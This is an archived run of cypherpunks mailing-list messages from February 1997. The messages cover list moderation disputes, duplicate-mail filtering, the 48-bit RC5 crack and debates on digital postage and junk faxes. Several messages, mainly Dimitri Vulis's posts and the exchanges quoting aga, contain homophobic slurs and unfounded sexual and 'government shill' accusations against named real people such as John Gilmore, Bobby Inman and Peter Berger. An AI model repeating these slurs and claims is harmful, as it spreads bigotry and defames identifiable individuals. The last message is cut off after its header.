MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk wrote:
> I do not begin to believe this is correct.  I happen to believe that
> sexism, not in the sense of believing women inferior but in the sense
> of believing homosexuals inferior can be, in some instances, a form
> of bigotry but it is merely a matter of semantics and not of interest.
> I wholeheartedly agree with the last point, anybody who believes in
> any form of deity or higher being (call it god if you like) is, IMHO,
> a fool. However, this has proven in history to be contradicted on a
> number of occasions, for example, Albert Einstein was a Jew but did
> not just accept without enquiry, rather, his religious views were
> subtle and well thought through.

I thought Einstein's ideas on social matters (incl. religion) were
naive and sentimental.  There's a difference in saying "I believe
there's a God" and "I believe in a God".  Of course, either way one
could be implying a hidden or unspecified set of agendas concomitant
with such a belief.

In the movie "Jesus Of Nazareth" is a classic example of why to
believe or not believe in a religion, i.e. things unseen:

At the end, the followers are in a small room, fearing for their
safety and all, and they say to Jesus "how is anyone going to
believe all this stuff" (or words to that effect), and Jesus replies
"because you are my witnesses.  Tell them and they will believe".

See how simple that was?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 15 Feb 1997 06:10:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: FBI_100
Message-ID: <1.5.4.32.19970215140414.006bbd64@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


2-15-97. NYP:

"Phone Companies Balk At Latest Plan by FBI." Markoff.

   Telcos are arguing that the new system will be far more
   intrusive and expensive than industry first thought, and
   would expand LEA wiretap capabilities 100-fold. "This is
   kind of scary. What does the FBI know about our future
   that we don't?"

-----

FBI_100

----------

See the FBI's latest wiretap plan at:

   http://jya.com/fbi011497.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 15 Feb 1997 07:20:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Switching to full traffic mode
Message-ID: <199702151516.JAA16655@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


I would like to warn and ask subscribers of cypherpunks@algebra.com.

We are going ot get full feel from Lance Cottrell and
cypherpunks-unedited@toad.com.

We will filter messages by Message-ID to get rid of duplicates.

It means that there is no sense (unless you want to confirm my integrity
as the list host) to be subscribed to any of the other lists, as you 
will be getting multiple copies of messages.

If you are afraid of that and use Unix, the following procmail recipe 
gets rid of duplicates:

#
# This recipe removes duplicates!
#
:0 Wh: msgid.lock
| formail -D 32768 msgid.cache

I am somwehat concerned by the behavior of my majordomo which is
very paranoid about incoming messages: it rejects all messages that
it THINKS are attempts to suscribe and unsuscribe. In this rejection, 
it is sometimes too broad. I do not know how to solve this problem.

ATTENTION: if you want to get a feed from me, PLEASE send me a note and
do not simply subscribe your mailing list to cypherpunks@algebra.com. It
is because I want to send you the messages before my majordomo rewrites
headers.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 15 Feb 1997 07:39:20 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Dave Hayes takes over Cypherpunks
In-Reply-To: <ND062D35w165w@bwalk.dm.com>
Message-ID: <199702151534.JAA16830@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> 
> Gilmore proposes useless projects like S/Wan and misguided people waste
> their time and effort instead of deploying crypto.

What is wrong with S/WAN? I think that it is a great project.

> And we already know that Peter Berger is a faggot because he suppresses
> free speech on Usenet.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 09:36:59 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <Pine.BSD/.3.91.970214145431.9409A-100000@mrburns.iosphere.net>
Message-ID: <3305F412.3F4C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Cynthia H. Brown wrote:
> - The female <mechanic / scientist / engineer>, in addition to passing the
> same exams as her male classmates, has probably had to put up with a fair
> load of B.S. questioning her right and ability to be there.  The ones that
> keep at it long enough to graduate are the ones that *really* want to do
> whatever it is, and IMHO are more likely to try harder.
> - I wonder whether the garage owners have any preference.  In my military
> experience (Signals officer), the (older male) sergeants and chiefs, when
> given a choice, preferred female radar / radio technicians to male
> because, in general, they were harder working, had thicker skins, and were
> more pleasant to deal with.

I love working with girls, regardless of the job. I personally prefer
the ones who don't suck up to "the guys", and who don't subscribe to
what society prefers girls should do or look like.  Unfortunately,
most offices won't hire them unless they conform in ways that I feel
are offensive, so the really independent ones wind up mainly in low-
paying jobs or going it alone (i.e., driving a truck).

Nothing wrong with driving a truck, of course, but it would be nicer
still if they could co-exist alongside males in the majority of
workplaces without having to do female role-playing.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 09:39:29 -0800 (PST)
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702142029.MAA01055@kachina.jetcafe.org>
Message-ID: <3305F4B8.4F8D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes wrote:
> Ok. I'll "put up".
> If the cypherpunks will have me, -I'll- run the cypherpunks
> list. Those that know me know that I will *not* censor, moderate, or
> otherwise alter the content (other than the stuff majordomo does with
> "resend") of any messages to the list.

You have my vote.  And any help I can provide, within my limits.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Feb 1997 07:33:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dave Hayes takes over Cypherpunks
In-Reply-To: <Pine.LNX.3.95.970215071920.29361D-100000@dhp.com>
Message-ID: <ND062D35w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


aga <aga@dhp.com> writes:

> On Fri, 14 Feb 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > Date: Fri, 14 Feb 97 22:30:27 EST
> > From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> > Reply-To: freedom-knights@jetcafe.org
> > To: cypherpunks@toad.com, freedom-knights@jetcafe.org
> > Subject: Re: Dave Hayes takes over Cypherpunks
> >
> > Toto <toto@sk.sympatico.ca> writes:
> >
> > > aga wrote:
> > > > How about that we require everybody to state their sex and sexual
> > > > orientation in the future, so we have no future problems.
> > > > I am a "Male Heterosexual" -- what about the rest of you?
> > > > If you refuse to answer, you are presumed to be a gay boy who
> > > > is hiding it.
> > >
> > >  I am a "Male, Cross-Dressing Heterosexual."
> >
> > I'm a male heterosexual.
> >
> > Cocksucker John Gilmore is a faggot. So is his boss Bobby Inman from NSA.
>
> Now wait a minute.  You mean the National Security Agency?
> If so, then Inman is probably not a faggot.  The military runs
> that and they do not take faggots.  NSA is where I got my Top
> Secret Crypto clearance from back in 1967.  Back then, all "crypto"
> involved was the changing of about 28 wires each day in the old KL-7.
>
> I remember the G2 government investigator asking me if I had ever had
> any homosexual relationships.  Homosexuals are taboo as far as
> clearances are concerned, because they are considered to be "at risk"
> characters from the get-go.

For what it's worth, the NSA, the CIA, and the State Department are
will of faggots. Being a faggot and sucking the right cocks is a way
to advance one's career at the NSA. Everyone knew Bobby was a faggot
and everybody he hired was a faggot too.

> > John Gilmore is a U.S.Government shill out to suck resources into
> > fruitless flame war and to sabotage our efforts to deploy crypto.
>
> "shill?" -- shit, I am going to have to get my dictionary out.

Gilmore's job is to suck us into wasting time on debates over Gilmore's
dishonorable actions instead of working on worthwhile projects like
my spambot or reviving the anon server. Gilmore is an "agent-provocateur".

Gilmore proposes useless projects like S/Wan and misguided people waste
their time and effort instead of deploying crypto.

> > What about Timmy May and Eric Hughes? Are they faggots in U.S.G.
> > employ or mere mindless dupes?
>
> If these guys are faggots, they must not be working for the U.S. Govt.
> Federal policy does not grant Top Secret or above clearances to
> homosexuals, I do believe.  At least the military doesn't.

The NSA is full of faggots. Also the CIA and the State Departments use
faggots to fuck and suck foreign diplomats. The whole Klintoris
administration is full of faggots.

> But the question here is, are they really faggots?
>
> Let's see how they answer that.  And remember, under our new protocol,
> if you do not answer and say you are heterosexual, you are a -default-
> faggot.  I want to hear what Peter Berger says.

I'd like to know too. Eric Hughes doesn't look like a faggot, but looks
can be deceiving.

And we already know that Peter Berger is a faggot because he suppresses
free speech on Usenet.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 09:45:24 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702142157.PAA02906@manifold.algebra.com>
Message-ID: <3305F615.BBB@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dave Hayes wrote:
> > Ok. I'll "put up".
> > If the cypherpunks will have me, -I'll- run the cypherpunks
> > list. Those that know me know that I will *not* censor, moderate, or
> > otherwise alter the content (other than the stuff majordomo does with
> > "resend") of any messages to the list.

> I think that it is a great idea. If you want to contribute to the
> effort to keep the list, this is great. You could join the network of
> other cypherpunks mailing lists.
> There is a small list for discussing these networking issues,
> cypherpunks-hosts@algebra.com. It is not for crypto-discussions per
> se, but rather for discussing how we proceed with these lists.

If I understood the last several hundred messages correctly, they have
tried to make the point that the cypherpunks mailing list (unedited)
was more ideal than a newsgroup.  If this is what Dave is offering,
I'm surprised if more people don't jump on it.  Then again, they
took their good ol' time jumping onto cypherpunks-unedited.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sat, 15 Feb 1997 09:47:46 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: Keep it Simple and the Cypherpunk Way
Message-ID: <199702151747.JAA27981@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:57 PM 2/14/97 -0800, Vladimir Z. Nuri wrote:
>
...
>if cpunks had a formal way of making decisions, and some loyalty
>to each other, instead of BAILING OUT at the slightest difficulty,
>perhaps the situation would be different, eh? see how quickly people
>who were once friends simply WALK OUT on each other in the cryptoanarchist
>approach? where is the loyalty? the sense of working for the greater
>good? it's gone. TCM simply ABANDONS the list at the first opportunity,
>and ignores the years of hard work that J.G. has put into it.
...
Not everyone has "bailed out".  Amid the flotsam and jetsam of the sinking
list, Igor Chudov Firebeard, and others have begun to fashion a trimaran.
If they finish before the old vessel finally sinks in the storm, then we
will have a ship more difficult to capsize.  Others are anchoring that half
finished craft to the great floating city/state Usenet.  Still others are
scheming as to the best way to keep the self appointed police from cutting
the little craft adrift.

No, we would have "bailed out" if we had each sit still to let our
subscriptions run out.  More will "go down with the ship", arguing against
the shutdown right up to the day when the list is finally eliminated.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 09:53:25 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: Good Bye Cypherpunks!
In-Reply-To: <199702142007.PAA16030@relay1.shore.net>
Message-ID: <3305F7F9.2BD2@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Vin McLellan wrote:
>         My understanding of Sandy's effort, for instance, was that he was to
> filter out the sludge of spam and contentless name-calling with which some
> idiots were flooding the list.  My impression was that he was passing along
> any posts with content (ideas, pro or con, on almost anything) but filtering
> out the empty obscene name-calling and slurs (many of which seemed anon or
> forged, with varied and misleading titles, to duck my kill-file filters.)

Tim May writes that the disruptors "won".  I say they didn't "win"
anything.  Truth is, the old, feeble, senile, stupid, and generally
ignorant Gilmore/Sandfort team just gave up, because they're too
much in bed with the establishment now to rock any more boats.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sat, 15 Feb 1997 09:49:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: 48-bit RC5 code broken [fwd]
Message-ID: <v02140b00af2ba8312422@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


Date: Fri, 14 Feb 1997 8:02:49 PST
From: "Peter G. Neumann" <neumann@csl.sri.com>
Subject: 48-bit RC5 bites the dust

In RISKS-18.81, we noted that Ian Goldberg of U.C. Berkeley had cracked the
40-bit RC5 in 3.5 hours -- the first step in the RSA Data Security challenge
posed on 28 Jan 1997.  The second step was taken on 10 Feb 1997 by Germano
Caronni, a graduate student at the Swiss Federal Institute of Technology.
Caronni (with a lot of help from his friends) has recovered the key for text
encrypted with 48-bit RC5, with the help of 3,500 computers and attaining an
peak rate of 1.5 trillion keys searched per hour, over a period of 312
hours.  A press release from RSA (given some circulation in the media) on
gives some details.  Close to the median expected effort, about 57% of the
key space was exhausted.  The Caronni team is now working on the next
challenge, RC5-56.  It is easy to clone yourself through virtual
replication.  [In this case, the team has a lot of Caronnis!]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 15 Feb 1997 10:04:27 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: More on digital postage
Message-ID: <199702151802.KAA22867@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:40 AM 2/15/97 -0600, snow wrote:
>Mr. Bell wrote:
>> At 03:31 AM 2/14/97 -0800, John C. Randolph wrote:
>> >Tim may says:
>> >>By the way, I think the "junk fax" and "junk phone call" laws are clearcut
>> >>violations of the First Amendment. I understand why the herd _wants_ these
>> >>laws, as it reduces the costs involved in replacing fax paper, running to
>> >>the telephone only to find someone trying to sell something, etc., but it
>> >>is quite clearly a prior restraint on speech, however well-intentioned.
>> >I have to disagree here.  The junk fax law is a restraint on unauthorised
>> >use of property, i.e. *my* fax machine, *my* phone, etc. 
>> However, you connect that fax machine to a phone line, when you know full 
>> well that should it be enabled to do so, it will automatically pick up the 
>> phone when it "hears" a ring, and will print out a fax based on information 
>> provided.  It isn't clear why sending a fax is any "wronger" than mailing 
>> junk mail, or making a (voice) phone call to somebody.
>
>	That is a ridiculous argument. The door to my home is connected
>to the street,m and I know full well that that makes it easy for anyone 
>to come wandering in to my home. Is it legal, just because I have my 
>home hooked to the street, for someone to come in and help themselves to 
>a beer out of my fridge?

No, you're taking the issue to ridiculous extremes.    That's why we have 
doors, and locks, etc.  And, for that matter, "No trespassing" signs.  


But having an address, and a walkway, and a doorbell is generally considered 
if not explicit permission, but at least toleration of the idea that 
somebody can walk up and knock on the door, etc.  Having a telephone with a 
number that anyone can dial is going to result in some level of intrusion.  
Having a fax machine is a similar issue, unless technology provides a way to 
block unwanted faxes.

I certainly don't claim that we shouldn't try to do anything about these 
limitations!  Quite the opposite, technology should be employed to protect 
privacy.  But faxes are not fundamentally different than telephones, 
doorbells, and walkways:  They facilitate interaction, even potentially 
undesirable interaction.


>	Nope. Sure I realize that they _can_, but that doesn't make it right,
>and it doesn't make it legal. 

"Legal" is an arbirary concept; the opposite, "illegal," is merely what some 
bunch of brainless legislators get together and disapprove.

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 10:04:30 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Keep it Simple and the Cypherpunk Way
In-Reply-To: <199702142057.MAA06000@netcom10.netcom.com>
Message-ID: <3305FA8F.3B5D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Vladimir Z. Nuri wrote:
> what TCM continues to stick his head in the sand over
> is the fact that the list noise levels have gotten outlandishly
> out of control over recent times, far beyond anything in memory.
> what is it due to?

"Out of control" says it all, don't you think?  (as in "control
freaks", that is).

> it appears that there is a basic law of cyberspace that S/N decreases
> as you add more people. it seems to be a very obvious and repeatable
> property.

No, it decreases rapidly when your forum more-or-less suddenly
becomes a hot item on the web.  If it weren't hot, nobody would
bother, believe me.

> there are some significant lessons about cryptoanarchy that are
> completely evading TCM. how well does anarchy scale? apparently, not
> well. TCM would like to pretend that just deleting posts and having
> outsider filterers is a "solution" to the problem and argues for
> business as usual, upholding the status quo.

"Scale" is a term used by controllers.

> the problem is that when you have a deteriorating situation, the
> status quo is not a valid concept. keeping the status quo means
> further deterioration.

Look at the big picture.  Some people have proposed unacceptable
methods for controlling human population, and it should be no
surprise that the same mentality would pervade these forums.

> TCM also fails to address the problem of AGENT PROVOCATEURS. the
> cyberspace list is intensely fragile and susceptible/ vulnerable
> to them as Vulis demonstrates. it only takes ONE and a lot of
> tentacles. does TCM propose a solution to this? no, of course not,
> because he has a blind spot when it comes to realizing the
> PATENTLY OBVIOUS FLAWS OF CRYPTOANARCHY that stare him in the face.

Unless, of course, the forum itself (and its proponents) are
themselves the "agent provocateurs".

> if cpunks had a formal way of making decisions, and some loyalty
> to each other, instead of BAILING OUT at the slightest difficulty,
> perhaps the situation would be different, eh? see how quickly people
> who were once friends simply WALK OUT on each other in the cryptoanarchist
> approach? where is the loyalty? the sense of working for the greater
> good? it's gone. TCM simply ABANDONS the list at the first opportunity,
> and ignores the years of hard work that J.G. has put into it.

Loyalty?  Amongst anarchists?  Two points: Loyalty on c-punks was
almost entirely a negative factor (i.e., sucking up to Gilmore).
Two, Tim May is for Tim May (as he should be), and he didn't abandon
his ideals one bit, which is a helluva lot more to say for him than
Gilmore or Sandfort.

> timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing
> the logical conclusion of your views playing out before you. acrimony,
> bitterness, resignation, chaos, confusion, cacaphony, anarchy.

Perhaps you should turn your talents to writing country songs.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Sat, 15 Feb 1997 10:36:46 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702150843.AAA07793@toad.com>
Message-ID: <970215.101958.0t3.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, ichudov@algebra.com writes:

> My opinion on this: I personally feel that this scheme is the way to 
> go for spammers. Obviously, it is possible to build mail readers that 
> would verify some kind of trusted signature on the attached postage, and
> would highlight all such messages. The meaning of signature is "these
> people are not crooks, there really is an encrypted dollar there".

I much prefer the plan where a potential mail correspondant includes an
e-cash dollar directly cashable by me.  If I like the mail (and the
sender), I throw the dollar away and the sender goes on the approved
list.  If not, I keep the dollar, and the sender goes on the twit list.
Paper junk mail costs an advertiser more than $1 per piece, so they'd
still be getting a bargain.  And potentially, some receivers may throw
away the dollar and welcome the spam.

> Clearly, spammers who pay their readers to read their messages (and who
> do get them to read) will have a very high response rate. That may 
> justify adding postage to their letters.

It should also spur development of intelligent agents which can retrieve
this cash without human intervention.  Spammers will doubtless alter
their pages to require more interaction to find the key to the cash.
Then the IA's will be improved.  Then... remember the copy protection
wars?  This isn't necessarily a negative point.

> The advantages are obvious. The disadvantage is a possibility of someone
> stealing the money on the way, if the letters are not encrypted.

Or that the money wasn't there in the first place (absent a trusted
signature system), or the key doesn't exist, or the wrong key is
offered, or the sender put the same e-dollar on all 60000 mails sie
sent and it's already been redeemed.
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMwXqzxvikii9febJAQHv7QP9HQ+S3dZ+MCOTfUJYZwQ/l7xDU83RUIZI
IMve5eFvBbSHabXacwM//1dHmWVpMqVpfN7kchXm/N+vsEqpGMGgNkNj7dGZdoWn
NN6cHkDHJywgnlhT62BZ0u6n2lb4wJcKMaGn63bnmHCRSUN9HwUCKFrFXi72s08r
sxju8mXi8N0=
=4Skg
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0019.myriad.ml.org (Matthew Ghio)
Date: Sat, 15 Feb 1997 07:23:45 -0800 (PST)
To: alt.cypherpunks@myriad.alias.net
Subject: Re: Cypherpunks afraid of spam?
In-Reply-To: <199702142356.PAA18079@toad.com>
Message-ID: <199702151521.KAA23910@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain


aaron@herringn.com wrote:
> [Fairly prominent Cypherpunk I'll decline to name- I don't mean to ridicule
> him personally, just his (distressingly common) attitude]
> 
> >Just for the record.  I will not post to USENET given the spamming that
> >seems to go to IDs that appear there.
> 
> [chuckle]
> 
> Just add an anti-spam segment to your email address.
> 
> example:
> 
> jsmith[at]foo.com
> 
> Most people worth talking to have enough of a clue to replace [at] with @.


Actually, I have a completely valid email address in this post (for now).
If it gets spammed I will just delete the DNS record.  (or maybe point
it back at the spammer. :)

And I'm sure we all know how to use remailers...




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 15 Feb 1997 07:28:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mirrors and replies-to
Message-ID: <v03020908af2b83b6280d@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


Well, so far, I've got three cypherpunks mailboxes. One for sirius, one for
algebra, and one for toad. It was interesting to me that I got stuff from
the mirrors faster than toad until I remembered that the mirrors are wired
to the unmoderated list at toad, and I'm still subscribed to the moderated
list there.

However, I would like it if the mirror operators would reinstantiate a
feature of the original list for me. The reply-to field on the mirrors is
currently set to cypherpunks@toad.com. On the original list, this was set
to "sender", both to keep people from replying to the list unnecessarily
(hah! :-)) but also to keep mail loops from forming. Mail loops could be a
big problem, especially when you guys put together your neo-netnews
mailring. (a little jyaism, that... :-)).

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 10:28:14 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Dave Hayes takes over Cypherpunks
In-Reply-To: <g0D62D28w165w@bwalk.dm.com>
Message-ID: <33060022.3439@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Toto <toto@sk.sympatico.ca> writes:
> > aga wrote:
> > > How about that we require everybody to state their sex and sexual
> > > orientation in the future, so we have no future problems.
> > > I am a "Male Heterosexual" -- what about the rest of you?
> > > If you refuse to answer, you are presumed to be a gay boy who
> > > is hiding it.

> Cocksucker John Gilmore is a faggot. So is his boss Bobby Inman from NSA.
> John Gilmore is a U.S.Government shill out to suck resources into
> fruitless flame war and to sabotage our efforts to deploy crypto.

Remember when Bush barfed on the Japanese guys?  I thought Inman's
performance on TV after losing the nomination was even more
embarrassing.

When Inman was first nominated, I was reading about it in the L.A.
Times they provide at McDonalds, while waiting patiently in line for
the great American meal.  When I saw who it was, I pulled out my
165 mb pocket computer and looked him up, and showed everyone else
who were standing in line who this guy really was.  The reaction
in that line alone was a good predictor of what was to come for
the "admiral".  Hopefully some day the EFF putzes will come to an
equally glorious end.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 10:43:36 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <5Pe62D30w165w@bwalk.dm.com>
Message-ID: <330601D0.2E5C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Toto <toto@sk.sympatico.ca> writes:
> > Omegaman wrote:
> >   Did anyone notice the 'pun' in Declan's subject header?
> >   "A List Goes Down In FLAMES"
> >   Did Declan notice it?
> >   My theory is that the news/press that we consume from our media-feeders
> > starts around a 'catchy' headline, from which the press then builds a
> > story to highlight their puns.

> The whole list?
> Or just Gilmore goes down on Sandfart and Sandart goes down on Parekh
> and Parekh goes down on Gilmore - like a daisy chain?

Just look at the farce they called "the O.J. case", or how about all
those pretty logos they displayed every night on TV for "the Gulf War".

I can't wait until they get ahold of this one, and tell (er,
regurgitate)
it back to us as "news".

BTW, did you ever try (recently) to resuscrive to any of the c-punks
lists, just for fun (hee hee)?  Be interesting to know if Gilmore's
computers have time to screen that out with all the other processes
they must be crunching.

BTW2, in the current issue of WWWiz, one of the columnists printed
my semi-lengthy article on the history of PC's.  Check it out at
wwwiz.com.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: List-Owner <nobody@diacenter.org>
Date: Sat, 15 Feb 1997 07:43:39 -0800 (PST)
Subject: Welcome
Message-ID: <199702151039.KAA03924@diacenter.org>
MIME-Version: 1.0
Content-Type: text/plain


Welcome to Dia's Press Releases mailing list.

You will be sent press releases about Dia's exhibitions and other programs.

If you have questions or would like to request more press information, please
contact Jennie Prebor at jennie@diacenter.org or (212) 989-5566 x 118.

If you would like to stop receiving mailings, please send an email to list-owner@diacenter.org with the subject line "Remove me from Dia News."

PLEASE NOTE: You may receive more than one message indicating a succesful subscription.  If you joined more than one of Dia's mailing lists,  you will receive one message for each list you joined.

Thank you for your interest in Dia Center for the Arts.

Dia Center for the Arts
548 West 22nd Street
New York, NY 10011
http://www.diacenter.org




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: List-Owner <nobody@diacenter.org>
Date: Sat, 15 Feb 1997 07:43:40 -0800 (PST)
Subject: Welcome
Message-ID: <199702151039.KAA03926@diacenter.org>
MIME-Version: 1.0
Content-Type: text/plain


Welcome to Dia's Advance Listings mailing list.

You will be sent advance listings approximately monthly with information on Dia's exhibitions and other upcoming programs.

If you have questions or would like to request more press information, please
contact Jennie Prebor at jennie@diacenter.org or (212) 989-5566 x 118.

If you would like to stop receiving mailings, please send an email to list-owner@diacenter.org with the subject line "Remove me from Dia News."

PLEASE NOTE: You may receive more than one message indicating a succesful subscription.  If you joined more than one of Dia's mailing lists,  you will receive one message for each list you joined.

Thank you for your interest in Dia Center for the Arts.

Dia Center for the Arts
548 West 22nd Street
New York, NY 10011
http://www.diacenter.org




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 15 Feb 1997 10:47:41 -0800 (PST)
To: snow <jimbell@pacifier.com (jim bell)
Subject: Re: More on digital postage
In-Reply-To: <199702150841.AAA07715@toad.com>
Message-ID: <v03007800af2bb42ce4e7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:40 AM -0600 2/15/97, snow wrote:
>Mr. Bell wrote:

>> However, you connect that fax machine to a phone line, when you know full
>> well that should it be enabled to do so, it will automatically pick up the
>> phone when it "hears" a ring, and will print out a fax based on information
>> provided.  It isn't clear why sending a fax is any "wronger" than mailing
>> junk mail, or making a (voice) phone call to somebody.
>
>	That is a ridiculous argument. The door to my home is connected
>to the street,m and I know full well that that makes it easy for anyone
>to come wandering in to my home. Is it legal, just because I have my
>home hooked to the street, for someone to come in and help themselves to
>a beer out of my fridge?

The proper parallel is to _knocking on the door_. Talking about "unwanted
phone calls" or "unwanted faxes" as being equivalent to entering a house
and wandering around is incorrect.

Consider a door with a doorbell or knocker. It is set up (by millenia of
tradition in our society) as a means of contacting the residents and
keeping them from entering.

Similarly, a listed phone number, or a phone number gotten through various
means, is a means of contacting those owning the number. Anyone is free to
call anyone--no permission is needed.

Our society fairly reasonably allows tort relief for, say, having one's
doorbell rung frequently or at odd hours. On the fax issue, similar tort
relief could be obtained if a person or business was truly "under attack."

(Purists, like me, would probably prefer technological solutions even in
these cases. Leave a phone on answering machine mode, only switch on the
fax mode when a fax is expected, etc.)

These tort actions are a far cry from proposals that anyone whose knock on
the door, or phonecall, or e-mail, or fax is subject to criminal
prosecution under proposed new laws.

(I think the courts are already clogged enough, and I have faith that no
court in the land will accept a case where no real harm was done. A friend
of mine got mailbombed with 25,000 e-mail messages in one day, shutting
down his account until the mess could be cleaned up, and it's not even
likely he'll ever get any relief.)

What CompuServe did was quite different, as CompuServe decided that some
e-mail would not be delivered. This is essentially comparable to the Postal
Service deciding that mail from the National Rifle Association is, to them,
"junk," or to the phone company deciding that phone calls from Libya or
Iraq or some other unfavored nation will be fed to a dead number.

Getting the courts and the regulators involved in deciding what speech is
junk and what is not junk is unconstitutional, which was my earlier point.

--Tim May


On the f

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
